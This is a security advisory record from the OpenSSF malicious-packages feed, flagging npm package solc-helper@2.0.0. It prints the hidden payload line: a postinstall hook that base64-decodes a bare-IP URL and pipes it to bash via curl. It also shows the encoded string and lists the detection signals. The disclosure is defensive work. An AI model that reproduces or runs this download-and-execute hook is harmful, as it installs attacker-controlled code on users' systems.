OpenSSF/OSV advisory MAL-2026-3715 confirms this npm version as malicious. package.json's postinstall lifecycle script runs `node -e` to base64-decode a hidden URL and pipe its contents to bash: `curl -s http://8.217.75.147:3000/payload | bash`. The URL is obfuscated via `Buffer.from('aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=','base64').toString()` which decodes to `http://8.217.75.147:3000/payload`...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in solc-helper (npm)
Details
package.json's postinstall lifecycle script runs `node -e` to base64-decode a hidden URL and pipe its contents to bash: `curl -s http://8.217.75.147:3000/payload | bash`. The URL is obfuscated via `Buffer.from('aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=','base64').toString()` which decodes to `http://8.217.75.147:3000/payload`. Every `npm install solc-helper` triggers this unattended download-and-execute of attacker-controlled shell code from a bare IP over plaintext HTTP, with no integrity check. Multiple independent block signals stack: bare-IP C2, plaintext HTTP, base64-obfuscated URL inside a lifecycle hook, `curl | bash` pattern, and no legitimate functionality advertised by the package to justify any network activity.
## Source: ossf-package-analysis (ddd32c477334047130051f655031a49e899c68da7dbeff001a98efb7e25afa2a) The OpenSSF Package Analysis project identified 'solc-helper' @ 2.0.0 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Decision reason
OpenSSF Malicious Packages via OSV confirms solc-helper@2.0.0 as malicious (MAL-2026-3715): Malicious code in solc-helper (npm)